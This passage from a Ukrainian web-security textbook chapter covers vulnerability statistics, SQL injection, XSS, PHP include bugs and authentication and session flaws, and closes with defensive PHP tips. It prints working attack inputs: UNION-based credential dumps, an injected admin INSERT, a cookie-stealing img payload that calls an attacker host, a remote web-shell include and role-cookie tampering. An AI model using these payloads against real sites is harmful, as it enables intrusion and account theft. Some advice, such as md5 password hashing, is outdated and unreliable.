по інфікованими сайтам (див. Рис. ), то можна зробити висновок, що

основним зараження Web-додатки є експлуатація вразливості

«Впровадження операторів SQL».

Рис.. Розподіл критичних вразливостей за інфіковании сайтами

95

Порівнюючи аналогічні показники по сайтах, на яких не було

виявлено інфікованих сторінок, можна зробити висновок, що приблизно

15-20% Web-додатків можуть бути заражене автоматизованим способом,

за умови налаштувань середовища Web-сервера, що дозволяють провести

подібну атаку.

Рис.6. Розподіл критичних вразливостей на сайтах

8.3.5. Детальний аналіз

Розподіл виявлених вразливостей до різних типів, виявлених за

допомогою детального аналізу Web-додатків представлено в Табл. 4 з)

Табл. Статистика вразливостей Web-додатків (детальний аналіз)

Тип вразливості %

Вразливостей

% Вразливих

сайтів

Cross-Site

Scripting 41,75 61,01

SQL Injection 17,69 67,79

Information

Leakage 12,50 16,94

Також як і при автоматичному скануванні Web-додатків, при

проведенні детального аналізу, найбільш поширеною вразливістю як і

96

раніше є «міжсайтового виконання сценаріїв» (Cross-Site Scripting, XSS),

на частку якої припадає приблизно 43% всіх помилок. Дана вразливість

зустрілася в 61% всіх проаналізованих додатків.

На другому місці, при деталізованому аналізі захищеності Web-

додатків, виявилася вразливість «Впровадження операторів SQL» (SQL

Injection). Дана вразливість зустрілася в 18% випадків, приблизно на 68%

всіх досліджуваних додатків.

Таким чином, лідируючі позиції за ймовірністю виявлення

вразливості в Web-додатку, за його детальному аналізі, займає вразливість

на стороні Web-сервера (server-side) - «Впровадження операторів SQL»

(SQL Injection) і вразливість, що експлуатується на стороні клієнта (client-

side) - «міжсайтового виконання сценаріїв» (Cross-Site Scripting, XSS).

.

8.3.6. Узагальнені дані

Узагальнені результати за розподілом виявлених вразливостей до

різних типів і класів WSTCv2, виявлених за допомогою детального аналізу

Web-додатків і при автоматичному скануванні представлено в Табл

Таблиця 5. Статистика вразливостей Web-додатків (узагальнені дані)

Автоматичне

сканування Детальний аналіз

Тип

вразливості %

Вразливостей

додатків

%

Вразливих

сайтів

%

Вразливостей

додатків

%

Вразливих

сайтів

Cross-Site

Scripting

30,08 50,1 41,75 61,0

SQL

Injection

7,95 15,50 17,69 67,79

Information 29,82 97,19 12,50 16,94

97

Leakage

Якщо аналізувати поширеність вразливостей високого ступеня

ризику, то тут найбільш часто зустрічаються помилки типу

«Впровадження операторів SQL» (SQL Injection). Можливість

несанкціонованого доступу до бази даних була виявлена в 67% випадків

при детальному аналізі Web-додатки та 16% при автоматичному

скануванні. Також широко поширені помилки «Читання довільних файлів»

(Path Traversal), «Підбір пароля» (Brute Force) і помилки в реалізації і

налаштування системи авторизації та аутентифікації.і

Тобто в 83% сайтів були виявлені критичні вразливості, і в 78%

випадків зі ста в програмному забезпеченні Web-додатки містяться

вразливості середнього ступеня ризику.

8.4. Вразливість WEB-сайтів

У цьому розділі будуть розглянуті найпоширеніші вразливості web-

сайтів. Кожен розробник web-додатків повинен знати як працює кожен з

нижченаведених видів зламу, для того щоб не допускати таких помилок

при розробці.

Головною є вказівка на основні слабкі місця Web-додатків.

Основною особливістю РНР є те, що люди, практично не маючи досвіду

програмування можуть швидко навчитися створювати додатки, які

відповідатимуть їхнім потребам. З іншого боку багато з подібних

програмістів не знають внутрішніх механізмів роботи створених ними

програм. Безпека та зручність використання програми не завжди йдуть

поруч, але це не означає, що такий феномен є абсолютно неможливим.

8.4.1 SQL-Injection

SQL-injection в перекладі з англійської означає впровадження SQL-

коду. Це один з найбільш небезпечних і поширених способів зламу сайтів і

98

програм, що працюють з базами даних, заснований на впровадженні в

запит довільного SQL-коду.

Впровадження SQL, в залежності від типу СУБД, яка

використовується, і умов впровадження, може дати можливість

атакуючому виконати довільний запит до бази даних (наприклад,

прочитати вміст будь-яких таблиць, видалити, змінити або додати дані),

отримати можливість читання і / або запису локальних файлів та довільних

команд на сервері, який атакується.

Атака типу впровадження SQL може бути можлива із-за некоректної

обробки вхідних даних, які використвуються в SQL-запитах. [2]

Розробник прикладних програм, що працюють з базами даних, має

знати про такі вразливості і вживати запобіжні заходи протидії

запровадженню SQL.

Принцип атаки впровадження SQL

Припустимо, що серверне ПЗ, одержавши вхідний параметр id,

використовує його для створення SQL-запиту. Наведемо PHP-скрипт:

# Попередній код скрипта ...

$ id = $ _REQUEST [ 'id'];

$ res = mysql_query ( "SELECT * FROM news WHERE id_news = $

id");

# Наступний код скрипта ...

Якщо на сервер переданий параметр id, що дорівнює 5 (наприклад

так: http://example.org/script.php?id=5), то виконається наступний SQL-

запит:

SELECT * FROM news WHERE id_news = 5

Але якщо зловмисник передасть як параметр id рядок -1 OR 1 = 1

(наприклад, так: http://example.org/script.php?id=-1+OR+1=1), то

виконається запит:

99

SELECT * FROM news WHERE id_news = -1 OR 1 = 1

Таким чином, зміна вхідних параметрів шляхом додавання в них

конструкцій мови SQL викликає зміни в логіці виконання SQL-запиту (в

даному прикладі замість новини із заданим ідентифікатором будуть

вибрані всі наявні в базі новини, оскільки вираз 1 = 1 є завжди істинним).

[3]

Впровадження в рядкові параметри

Припустимо, що серверне ПЗ, отримавши запит на пошук даних в

новинах з параметром search_text, використовує його в наступному SQL-

запиті (тут параметри екрануються лапками):

...

$ search_text = $ _REQUEST [ 'search_text'];

$ res = mysql_query ( "SELECT id_news, news_date, news_caption,

news_text, news_id_author FROM news WHERE news_caption LIKE ( '% $

search_text %')");

Зробивши запит вигляду http://example.org/script.php?search_text=Test ми

отримаємо виконання наступного SQL-запиту:

SELECT id_news, news_date, news_caption, news_text, news_id_author

FROM news WHERE news_caption LIKE ( '% Test%')

Але, запровадивши в параметр search_text символ лапки (який

використовується в запиті), ми можемо кардинально змінити поведінку

SQL-запиту. Наприклад, передавши як параметр search_text значення ') +

and + (news_id_author = '1, ми викличемо до виконання запит:

SELECT id_news, news_date, news_caption, news_text, news_id_author

FROM news WHERE news_caption LIKE ('%') AND (news_id_author = '1% ')

[4]

Використання UNION

100

Мова SQL дозволяє поєднувати результати декількох запитів за

допомогою оператора UNION. Це надає можливість зловмиснику отримати

несанкціонований доступ до даних.

Розглянемо скрипт відображення новини (ідентифікатор новини, яку

необхідно відобразити, передається в параметрі id):

$ res = mysql_query ( "SELECT id_news, header, body, author FROM

news WHERE id_news =". $ _REQUEST [ 'id']);

Якщо зловмисник передасть як параметр id конструкцію -1 UNION

SELECT 1, username, password, 1 FROM admin, це викличе виконання SQL-

запиту

SELECT id_news, header, body, author FROM news WHERE id_news =

-1 UNION SELECT 1, username, password, 1 FROM admin

Так як новини з ідентифікатором -1 завідомо не існує, з таблиці news

не буде вибрано жодного запису, проте в результат потраплять записи,

несанкціоновано відібрані з таблиці admin в результаті ін'єкції SQL. [2]

Використання UNION + group_concat ()

У деяких випадках хакер може провести атаку, але не може бачити

більше однієї колонки. У разі використання мови MySQL зломщик може

скористатися функцією: group_concat (col, symbol, col) яка об'єднує кілька

колонок в одну. Наприклад, для даного вище виклик функції буде таким: -

1 UNION SELECT group_concat (username, 0x3a, password) FROM admin [2]

Екранування хвоста запиту

Найчастіше, SQL-запит, схильний до даної вразливості, має

структуру, що ускладнює або перешкоджає використанню union.

Наприклад скрипт

$ res = mysql_query ( "SELECT author FROM news WHERE id =". $

_REQUEST [ 'id']. "AND author LIKE ( 'a %')");

101

відображає ім'я автора новини, що передається ідентифікатором id

тільки за умови, що ім'я починається на літеру а, і впровадити код з

використанням оператора UNION важко.

У таких випадках, зловмисниками використовується метод захисту в

частині запиту за допомогою символів коментаря (/ * або - в залежності від

типу СУБД).

У даному прикладі, зловмисник може передати в скрипт параметр id

зі значенням -1 UNION SELECT password FROM admin / *, виконавши

таким чином запит

SELECT author FROM news WHERE id =- 1 UNION SELECT

password FROM admin / * AND author LIKE ( 'a%')

в якому частина запиту (AND author LIKE ( 'a%')) позначена як

коментар і не впливає на виконання. [3]

Розщеплення SQL-запиту

Для поділу команд в мові SQL використовується символ; (крапка з

комою), впроваджуючи цей символ в запит, зловмисник отримує

можливість виконати декілька команд в одному запиті, однак не всі

діалекти SQL підтримують таку можливість.

Наприклад, якщо в параметри скрипта

$ id = $ _REQUEST [ 'id'];

$ res = mysql_query ( "SELECT * FROM news WHERE id_news = $

id");

зловмисником передається конструкція, що містить крапку з комою,

наприклад 12; INSERT INTO admin (username, password) VALUES (

'HaCkEr', 'foo'); то в одному запиті будуть виконані 2 команди

SELECT * FROM news WHERE id_news = 12;

INSERT INTO admin (username, password) VALUES ( 'HaCkEr', 'foo');

і в таблицю admin буде несанкціоновано додано запис HaCkEr. [4]

102

8.4.2 Сross Site Scripting (XSS)

У перекладі з англйської означає міжсайтового скріптінг. Це тип

вразливості інтерактивних інформаційних систем у веб-просторі. XSS

виникає, коли в сторінки, які генеруються сервером з якоїсь причини

потрапляють користувальницькі скрипти. Специфіка подібних атак

полягає в тому, що замість безпосередньої атаки сервера вони

використовують вразливий сервер в якості засобу атаки на клієнта.

Іноді для терміну використовують скорочення «CSS», але щоб не

було плутанини з каскадними таблицями стилів, використовують

скорочення «XSS».

Зараз XSS складають близько 15% всіх виявлених вразливостей.

Довгий час програмісти не приділяли їм належної уваги, вважаючи їх

безпечними. Однак ця думка помилкова: на сторінці або в HTTP-Cookie

можуть бути дуже вразливі дані (наприклад, ідентифікатор сесії

адміністратора). На популярному сайті скрипт може влаштувати DoS-

атакy.

Умовно XSS можна розділити на активні і пасивні:

Пасивні

Пасивні XSS передбачають, що скрипт не зберігається на сервері

вразливого сайту, або ж він не може автоматично виконатися в браузері

жертви. Для спрацювання пасивної XSS потрібна якась додаткова дію, яку

повинен виконати браузер жертви (наприклад, клік по спеціально

сформованому посиланню). Їх також називають першим типом XSS. [6]

Наприклад: провокуємо користувача запустити URL

http://example.com/search.php?q=porn% 3Cscript% 3EDoSomething ();% 3C%

2Fscript% 3E. Буде виконано скрипт <script> DoSomething ();</ script> -

якщо, звичайно, сервер не вжив жодних заходів для його захисту.

Активні

103

При активних XSS шкідливий скрипт зберігається на сервері, і

спрацьовує в браузері жертви при відкритті будь-якої сторінки зараженого

сайту. Їх також називають другим типом XSS.

До активного скріптінгу схильні сайти так званого «веб 2.0» -

форуми, блоги, гостьові книги і соціальні мережі. [6]

XSS дозволяє нанести шкоду такого характеру як спам, крадіжка

конфеденційної інформації, переадресація всього сайту вцілому.

8.4.3 Крадіжка конфіденційної інформації

У першу чергу сюди можна віднести крадіжку сookies

(doсument.сookie) як найбільш значний приналежність безпеки

користувача (у цьому розділі). Також в цей розділ вступає крадіжка

інформації про систему користувача, браузер (об'єкт navigator), поточний

час, IР-адресу,інформацію про відвідані сайти (об'єкт history як масив;

поточна сторінка history [0], попередня history [-1], всього сторінок

history.length) також багато чого іншого. Ось зразок скрипта, який повертає

IР-адреси відвідувача у змінну IР, а також ім'я комп'ютера в змінну host

(перевірено в Oрera, Mozilla, Mоzilla Firefox):

myAddress = jаva.net.InetAddress.getLoсalHost ();

myAddress2 = jаva.net.InetAddress.getLoсalHost ();

host = myAddress.getHostName ();

IР = myAddress2.getHostAddress ();

Вкрасти дані можна наступним способом. Для цього зловмисник

створює у себе на сервері прозоре gif-зображення і php скрипт, який буде

приймати ідентифікатори сесії і десь їх зберігати. Після цього зловмиснику

необхідно розмістити наступний код на сайті, що атакується

<img src = "http://mysite.ua/spacer.gif" onload = "this.src =

'http://mysite.ua/s.php?' + document.cookie" border = "0" width = "1" height =

"1">

104

Після цього залишається тільки дочекатися, коли жертви відкриє

сторінку з цим кодом. І, коли користувач завантажує сторінку зі

впровадженим зловмисником кодом, відбувається наступне:

1. завантажується прозоре gif-зображення. Користувач цього не

помітить, тому що зображення прозоре і має розмір в 1 px.

2. після завантаження зображення спрацьовує подія onload, яке

виконує JavaScript. Тут прописано зміну адреси картинки на

'http://mysite.ua/s.php?' + Document.cookie, де document.cookie містить всі

cookie для атакованого сайту.

3. Далі php-скрипт зловмисника отримав ваш ідентифікатор сесії,

після чого він десь зберігається.

Після того, як зловмисник отримав ідентифікатор сесії в нього є мало

часу щоб нею скористатися, так як сесії зазвичай зберігаються від 30 до 60

хвилин в залежності від налаштувань сервера. Якщо зловмисник встигне

підставити отриманий код в свій браузер, то отримає доступ до сайту під

Вашим логіном або ще гірше - під логіном адміністратора. [7]

8.4.4 Виконання системних команд.

Непередбачені стандартом можливості браузера. Існує безліч

вразливостей браузерів, які при обробці будь-якого коду або викликають

DoS, або надають доступ до певних файлів, або дозволяють виконувати

довільний код у системі користувача, або ще щось ніяк не вельми приємне

для користувача. Безліч відомих також часто використовуваних браузерів

(Internet Exрlorer, Netsсaрe, Mozilla, Mozilla Firefox, Oрera, а також все що

створено на їх движках) є вразливими. Невразливі лише тільки деякі їх

версії. Зовсім недавно (на момент написання статті) Бенджаміном

Тобіасом Францем була виявлена критична вразливість браузера Internet

Exрlorer (v5.5, 6.0), що дозволяє виконати довільний код у системі

користувача. Як виконати довільний код у користувача, який зайшов на

105

сайт, що має XSS-вразливість? Заллємо експлоїт, написаний Стюартом

Персоном, що складається з чотирьох htm- а також одного html-файлу, на

наш сервер, наприклад, сoolhaсker.yo. У вразливому сайті впровадимо

наступний код

window.loсation.href = "/ click? http://сoolhaсker.yo/0day.html"

Тепер, жертва, зайшовши на сторінку сервера, в яку ми впровадили

код, переадресується на сторінку-експлоїт http://сoolhaсker.yo/0day.html,

яка виконає довільний код (у нашому випадку запустить сalс.exe).

8.4.5 Безпечне програмування на PHP

Основною особливістю РНР є те, що люди, практично не маючи

досвіду, програмування можуть швидко навчитися створювати додатки,

які відповідатимуть їхнім потребам. З іншого боку багато з подібних

програмістів не знають внутрішніх механізмів роботи створених ними

програм. Безпека та зручність використання програми не завжди йдуть

поруч, але це не означає, що подібне абсолютно неможливо. [8]

SQL-Iinjection

Принципи впровадження SQL-коду були розглянуті в попередньому

уроці. Тут розглянемо як боротися з SQL-injection при розробці web-

додатків за допомогою PHP.

Для захисту від усього вищесказаного досить дотримуватися

декількох простих правил:

1) для цілих і дробових величин, перед їх використанням у запиті

досить навести величину до потрібного типу.

$ id = (int) $ id; $ total = (float) $ total;

Замість цього можна вставити систему спостереження за

тестуванням на SQL ін'єкцію.

if ((string) $ id <> (string) (int) $ id) (

106

/ / пишемо в лог про спробу

die ( 'ops');

}

2) для строкових параметрів, які не використовуються у like, regexp і

тд, екрануючи лапки.

$ str = addslashes ($ str);

або, краще,

mysql_escape_string ($ str)

3) у рядках, які передбачається використовувати всередині like,

regexp і т.д., необхідно так само заекранувати спеціальні символи, що

застосовуються в цих операторів, якщо це необхідно. В іншому випадку,

можна задокументувати використання цих символів.

4) також для підвищення безпеки необхідно перевіряти вхідні

параметри на їх кількість і імена. Це необхідно у разі якщо SQL-запит

генерується циклічно в залежності від імен вхідних параметрів. [2]

Imclude-баг

Це дуже старий і майже всім відомий баг в скриптах, але на жаль до

сьогодні дуже актуальне. Функція include () (її аналог: inсlude_once ())

служить для того, щоб прикріплювати до PHP-коду нові модулі на PHP.

Найбільш частою помилкою з цією функцією є код: include ( "$ file"), а

змінна $ file береться з параметра до скрипту (наприклад, qwe.php? File =

index.php). Хакеру просто залишається створити на своєму хості PHP-файл

з веб-шелом (http://www.web-hack.ru/download/info.php?go=77) і передати у

параметрі до скрипта адресу свого веб-шела (наприклад , qwe.php? file =

http://web-hack.ru/shell.php). Правда, в цій ситуації жертву може врятувати,

те що в конфігурації PHP заборонено вкладати файл з інших серверів.

107

Рішенням проблеми з Include-багом є відсутність змінної, що

передається в запиті до скрипту, для інклуда. У таких випадках можна

використовувати конструкцію з оператором switch, наприклад так:

switch ($ case) / / $ case - ім'я змінної передається в параметрі до

скрипта

{

case news:

include ( "news.php");

break;

case articles:

include ( "articles.php");

break;

... / / I т.д.

default:

include ( "index.php"); / / якщо у змінній $ case не буде передано

значення, яке враховано вище, то відкривається головна сторінка

break;

}

Багато наївних програмістів думають, що якщо вони зроблять

конструкцію типу include ( "$ file.php"), то їх не зможуть зламати. Вони

помиляються! По-перше, у старих версіях PHP (наприклад, PHP <=

4.0.3pl1) був присутній баг null-byte (знайомий ще з Perl), який дозволяв

відкинути розширення (та й взагалі, що завгодно після змінної) файлу. По-

друге, навіть якщо версія PHP на сервері нова, то можна проінклудити

будь-який php-файл на цьому сервері (якщо вистачить прав на його

читання), а це теж не добре. Так що запам'ятайте пораду: по можливості

НІКОЛИ не передавайте змінні через параметр до скрипту, які потім

будуть брати участь у ф-ції include (). Я звичайно розумію, що можна

108

зробити круті фільтри на цю змінну, але як показує практика -

"Береженного - бог береже". Все вище описане, так само відноситься до ф-

цій: fopen (), require (), require_once () і inсlude_once ().

Так само рекомендуючи в конфізі PHP встановлювати

register_globals = off (починаючи з версії 4.2.0 мінлива вимкнена за

замовчуванням), тому що якщо ваш двіжок використовує модулі і в

якомусь модулі є рядок include ( "$ file"), а значення змінної $ file

задається не в цьому модулі, а в головному файлі, то хакер може передати

$ file через параметр до файлу модуля в браузері. [5]

Сross Site Scripting (XSS)

XSS (англ. Сross Site Sсriрting - «міжсайтового скріптінг») - тип

вразливості інтерактивних інформаційних систем у вебі. XSS виникає,

коли в сторінки, які генеруються сервером з якоїсь причини потрапляють

користувальницькі скрипти.

Усунення XSS вразливості реалізується дуже просто, але якщо цього

не зробити, ви ніяк не нашкодите своєму серверу, але користувачам

ресурсу XSS може завдати великої шкоди.

Щоб убезпечити користувачів від XSS-атак необхідно при виведенні

даних або перед додаванням даних в БД замінити символи більше (>) на

<знаки та символи менше (<) на >.

$ value = str_replace (">","&gt;",$ value);

$ value = str_replace ("<","&lt;",$ value); [7]

Поради

1) Бажано не створювати конфіги, які можна прочитати з вебу.

Конфіг треба класти вище папки веб-сервера або створювати в такому типі

файлу, який не можна прочитати з браузера (наприклад, *. inc не на всіх

веб-серверах запускається, як PHP-скрипт, а просто відкривається як

текстовий файл). Так що давайте імена таких файлів з розширенням *. php.

109

2) Ніколи не робіть пароль на доступ до SQL-базі таким же, як і на

FTP. А якщо у вас на хостингу за замовчуванням так і зроблено (паролі

однакові), то вимагайте від хостера щоб він зробив їх різними, тому що

якщо хакер отримає веб-шел на сервер і зможе прочитати конфіг з паролем

до SQL-бази => зможе отримати FTP-доступ.

3) Шифруйте всі паролі доступу до різних закритих зон

спеціальними функціями, наприклад md5 (). Якщо хакер зможе отримати

базу з такими паролями, то розшифрувати їх буде проблематично.

4) Слідкуйте за оновленнями самої версії PHP (http://www.php.net) і

своєчасно оновлювати її при виході нової стабільної версії, тому що не

тільки PHP-код може таїти в собі вразливість, а й сам інтерпретатор мови

(я думаю всі пам'ятають про PHP 4.0.2-4.0.7, яка дозволяла віддалено

відкрити веб-шел).

5) По можливості давайте не поширені імена конфіга з паролями

(cfg.php і т.д., а не config.php або conf.php), тому що це ускладнить пошук

конфіг за допомогою пошуку по файлах сервера (find /-name conf *)

хакером.

6) Не нехтуйте можливістю зробити HTTP-аутифікацію засобами

PHP, особливо якщо немає можливості це зробити на рівні Апача (.

Htaccess і. Htpasswd). Більш докладно про такий вид аутифікаціі та інших

видах ви можете прочитати в серії статтей "Авторизація доступу"

(http://www.web-hack.ru/books/books.php?go=37).

7) По можливості тримайте ваш PHP в режимі safe mode (safe_mode

= on). Так само раджу вирубати ініціалізацію глобальних змінних

(register_globals = off) і можливість fonen () відкривати адреси з вебу

(allow_url_fopen = off). Ще можна заборонити небезпечні ф-ції:

disable_functions = phpinfo, system, passthru

110

8) Якщо ви пишете гостьові книги і т.д., то не забувайте ставити

фільтрацію у всіх формах (нік, мило і т.д.) на теги з допомогу ф-ції

htmlspecialchars (). До речі, якщо в тілі повідомлень потрібно

використовувати теги, то краще зробити свої (типу [B] [/ B] і т.д.), а не

робити фільтри на заборону непотрібних.

9) Шифруйте початкові дані на PHP і особливо конфіги з допомогою Zend

Optimizer (http://www.zend.com).

8.5 Аутентифікація (Authentication)

Розділ, присвячений аутентифікації описує атаки, спрямовані на

використовувані Web-додатком методів перевірки ідентифікатора

користувача, служби або програми.

Аутентифікація використовує як мінімум один з трьох механізмів

(факторів): "щось, що ми маємо", "щось, що ми знаємо" або "щось, що ми

є". У цьому розділі описуються атаки, спрямовані на обхід або

експлуатацію вразливостей в механізмах реалізації аутентифікації Web-

серверів.

8.5.1 Підбір (Brute Force)

Підбір - автоматизований процес проб і помилок, що

використовується для того, щоб вгадати ім'я користувача, пароль, номер

кредитної картки, ключ шифрування і т.д.

Багато систем дозволяють використовувати слабкі паролі або ключі

шифрування, і користувачі часто вибираю легко вгадувані або містяться у

словниках парольні фрази.

Використовуючи цю ситуацію, зловмисник може скористатися

словником і спробувати використати тисячі або навіть мільйони

комбінацій символів в якості пароля. Якщо випробуваний пароль дозволяє

отримати доступ до системи, атака вважається успішною і атакуючий

може використовувати обліковий запис.

111

Подібна техніка проб і помилок може бути використана для підбору

ключів шифрування. У разі використання ключів недостатньою довжини,

зловмисник може отримати необхідний ключ, перебравши всі можливі

комбінації.

Існує два види підбору: прямий і зворотний. При прямому підборі

використовуються різні варіанти пароля для одного імені користувача. При

зворотному перебераются різні імена користувачів, а пароль залишається

незмінним. У системах з мільйонами облікових записів ймовірність

використання різними користувачами одного пароля досить висока. Не

дивлячись на популярність і високу ефективність, підбір може займати

кілька годин, днів або років.

Приклад

Им’я користувача = Євген

Пароли = Женя, Негвє (перевернуте), [ ім’я собаки ], [день

народження], [прівище тещі] та інше ...

Імена користувачів = Олег, Ганна, Марія, та інше ...

Пароль = 12345678, Електронна пошта

8.5.2 Недостатня аутентифікація (Insufficient Authentication)

Ця вразливість виникає, коли Web-сервер дозволяє атакуючому

отримувати доступ до важливої інформації або функцій сервера без

належної аутентифікації. Інтерфейси адміністрування через Web -

яскравий приклад критичних систем.

Залежно від специфіки програми, подібні компоненти не повинні

бути доступні без належної аутентифікації. Щоб не використовувати

аутентифікацію деякі ресурси "ховаються" за певною адресою, на яку

немає посилань з основних сторінках сервера або інших

загальнодоступних ресурсах. Однак, подібний підхід не більш ніж "безпека

112

через приховування". Важливо розуміти, що, не дивлячись на те, що

зловмисник не знає адреси сторінки, вона все одно доступна через Web.

Необхідний URL може бути знайдений перебором типових файлів і

директорій (таких як / admin /), з використанням повідомлень про помилки,

журналів перехресних посилань або шляхом простого читання

документації. Подібні ресурси повинні бути захищені адекватно

важливості їх вмісту і функціональних можливостей.

Приклад

Багато Web-додатки за замовчуванням використовують для

адміністративного доступу посилання в кореневій директорії сервера (/

admin /). Зазвичай посилання на цю сторінку не фігурує у вмісті сервера,

проте сторінка доступна за допомогою стандартного браузера. Оскільки

користувач або розробник припускає, що ніхто не скористається цією

сторінкою, так як посилання на неї відсутнє, найчастіше реалізацією

аутентифікації нехтують. І для отримання контролю над сервером

зловмисникові достатньо зайти на цю сторінку.

8.5.3 Небезпечне відновлення паролів (Weak Password Recovery

Validation)

Ця вразливість виникає, коли Web-сервер дозволяє атакуючому

несанкціоновано отримувати, модифіковані або відновлювати паролі

інших користувачів.

Часто аутентифікація на Web-сервер вимагає від користувача

запам'ятовування пароля або парольного фрази. Тільки користувач

повинен знати пароль, причому пам'ятати його виразно. З часом пароль

забувається. Ситуація ускладнюється, оскільки в середньому користувач

відвідує багато, що вимагають введення пароля.

Таким чином, функція відновлення пароля є важливою складовою

що надається Web-серверами сервісу. Прикладом реалізації подібної

113

функції є використання "секретного питання", відповідь на яке вказується

в процесі реєстрації. Питання або вибирається зі списку або вводиться

самим користувачем. Ще один механізм дозволяє користувачу вказати

"підказку", яка допоможе йому згадати пароль. Інші способи вимагають

від користувача вказати частина персональних даних, таких як номер соц.

страхування, ПІБ , домашню адресу поштовий індекс і т.д., які потім

будуть використовуватися для встановлення особи. Після того як

користувач доведе свою ідентичність, система відобразить новий пароль

або перешле його поштою.

Вразливості пов'язані з недостатньою перевіркою при відновленні

паролю виникають, коли атакуючий отримує можливість використовується

механізм. Це трапляється, коли інформацію, використовувану для

перевірки користувача, легко вгадати або сам процес підтвердження можна

обійти. Система відновлення пароля може бути скомпрометована шляхом

використання підбору, вразливостей системи або легко вгадується

відповіді на секретне питання.

Перевірка інформації

Багато сервери вимагають від користувача вказати його email в

комбінації з домашньою адресою і номером телефону. Ця інформація може

бути легко отримана з мережевих довідників. В результаті, дані, які

використовуються для перевірки, не є великим секретом. Крім того, ця

інформація може бути отримана зловмисником з використанням інших

методів, таких як міжсайтового виконання сценаріїв. Ця ж інформація

може бути використаною і для СПАМ- розсилання інформації по

Електронній пошті.

Парольні підказки

Сервер, що використовує підказки для полегшення запам'ятовування

паролів, може бути атакований, оскільки підказки допомагають у реалізації

114

підбору паролів. Користувач може використовувати стійкий пароль,

наприклад, "221277King" з відповідною підказкою: "д-р + улюбленний

письменник". Атакуючий може припустити, що для користувача пароль

складається з дати народження та імені улюбленого автора користувача.

Це допомагає сформувати відносно короткий словник для атаки шляхом

перебору.

Таємне питання та відповідь

Припустимо, відповідь користувача "Запоріжжя", а секретне питання

"Місце народження". Зловмисник може обмежити словник для підбору

секретної відповіді назвами міст. Більш того, якщо атакуючий має в своєму

розпорядженні деякою інформацією про користувача, дізнатися його місце

народження не складно.

8.5.4 Авторизація (Authorization)

Даний розділ присвячений атакам, направленим на методи, які

використовуються Web-сервером для визначення того, чи має користувач,

служба або програма необхідни дозвіл для вчинення дії. Багато Web-сайти

дозволяють тільки певним користувачам отримувати доступ до деякого

вмісту або функцій програми. Доступ іншим користувачам повинен бути

обмежений. Використовуючи різні технології, зловмисник може

підвищити свої привілеї і отримати доступ до захищених ресурсів.

8.5.5 Передбачуване значення ідентифікатора сесії (Credential/Session

Prediction)

Передбачуване значення ідентифікатора сесії дозволяє

перехоплювати сесії інших користувачів. Подібні атаки виконуються

шляхом передбачення або вгадування унікального ідентифікатора сесії

користувача. Ця атака також як і перехоплення сесії (Session Hijacking) у

разі успіху дозволяє зловмисникові послати запит Web-сервера з правами

скомпрометованого користувача. Дизайн багатьох серверів припускає

115

аутентифікацію користувача при першому зверненні та подальше

відстеження його сесії. Для цього користувач вказує комбінацію імені та

пароля. Замість повторної передачі ім'я користувача та пароль при кожній

транзакції, Web-сервер генерує унікальний ідентифікатор, який

присвоюється сесії користувача. Наступні запити користувача до сервера

містять ідентифікатор сесії як доказ того, що аутентифікація була успішно

пройдено. Якщо атакуючий може передбачити або вгадати значення

ідентифікатора іншого користувача, це може бути використано для

проведення атаки.

Приклад

Багато серверів генерують ідентифікатори сесії, використовуючи

алгоритми власної розробки. Подібні алгоритми можуть просто

збільшувати значення ідентифікатора для кожного запиту користувача.

Інший поширений варіант - використання функції від поточного часу або

інших специфічних для комп'ютера даних.

Ідентифікатор сесії зберігається в cookie, прихованих полях форм або

URL. Якщо атакуючий має можливість визначити алгоритм,

використовуваний для генерації сесії, він може виконати наступні дії:

1) підключитися до сервера, використовуючи поточний

ідентифікатор сесії;

2) обчислити або підібрати наступний ідентифікатор сесії;

3) присвоїти отримане значення ідентифікатора cookie / прихованого

полю форми / URL.

8.5.6. Недостатня авторизація (Insufficient Authorization)

Недостатня авторизація виникає, коли Web-сервер дозволяє

атакуючому отримувати доступ до важливої інформації або функцій,

доступ до яких повинен бути обмежений. Те, що користувач пройшов

аутентифікацію не означає, що він повинен отримати доступ до всіх

116

функцій і вмісту сервера. Крім аутентифікації повинно бути реалізовано

розмежування доступу.

Процедура авторизації визначає, які дії може здійснювати

користувач, служба або додаток. Правильно побудовані правила доступу

повинні обмежувати дії користувача відповідно до політики безпеки.

Доступ до важливих ресурсів сайту повинен бути дозволений тільки

адміністраторам.

Приклад

У минулому багато Web-серверів зберігали важливі ресурси в

"прихованих" директоріях, таких як "/ admin" або "/ log". Якщо атакуючий

запитував ці ресурси напряму, він отримував би до них доступ і міг би

переналаштувати сервер, отримати доступ до важливої інформації або

повністю скомпрометувати систему.

Деякі сервери, після аутентифікації, зберігають у cookie або

прихованих полях ідентифікатор "ролі" користувача в рамках Web-

додатків. Якщо розмежування доступу грунтується на перевірці даного

параметра без верифікації приналежності до ролі при кожному запиті,

зловмисник може підвищити свої привілеї, просто модифікувавши

значення cookie.

Наприклад, значення cookie

SessionId=12345678;Role=User

Замінюється на

SessionId=12345678;Role=Admin

8.5.7 Відсутність таймауту сесії (Insufficient Session Expiration)

У випадку якщо для ідентифікатора сесії або облікових даних не

передбачений таймаут або має значення дуже велике, зловмисник може

скористатися старими даними для авторизації. Це підвищує вразливість

сервера для атак, пов'язаних з крадіжкою ідентифікаційних даних.

117

Оскільки протокол HTTP не передбачає контроль сесії, Web-сервери

зазвичай використовують ідентифікатори сесії для визначення запитів

користувача. Таким чином, конфіденційність кожного ідентифікатора

повинна бути забезпечена, щоб запобігти багаторазовий доступ

користувачів з одним профілем. Викрадений ідентифікатор може

використовуватися для доступу до даних користувача або здійснення

шахрайських транзакцій. Відсутність таймауту сесії збільшує ймовірність

успіху різних атак. Приміром, зловмисник може отримати ідентифікатор

сесії, використовуючи мережевий аналізатор або вразливість типу

міжсайтового виконання сценаріїв. Хоча таймаут не допоможе у випадку,

якщо ідентифікатор буде використаний негайно, обмеження часу

допоможе у випадку більш пізніх спроб використання ідентифікатора.

В іншій ситуації, якщо користувач отримує доступ до сервера з

публічного комп'ютера (бібліотека, Internet-кафе і т.д.) відсутність

таймауту сесії може дозволити зловмисникові скористатися історією

браузера для перегляду сторінок користувача.

Велике значення тайм ауту збільшує шанси підбору чинного

ідентифікатора. Крім того, збільшення цього параметра веде до збільшення

одночасно відкритих сесій, що ще більше підвищує ймовірність успішного

підбору.

Приклад

При використанні публічного комп'ютера, коли кілька користувачів

мають необмежений фізичний доступ до машини, відсутність таймауту

сесії дозволяє зловмисникові переглядати сторінки, відвідані іншим

користувачем. Якщо функція виходу з системи просто перенаправляє на

основну сторінку Web-сервера, а не завершує сесію, сторінки, відвідані

користувачем, можуть бути переглянуті зловмисником. Оскільки

118

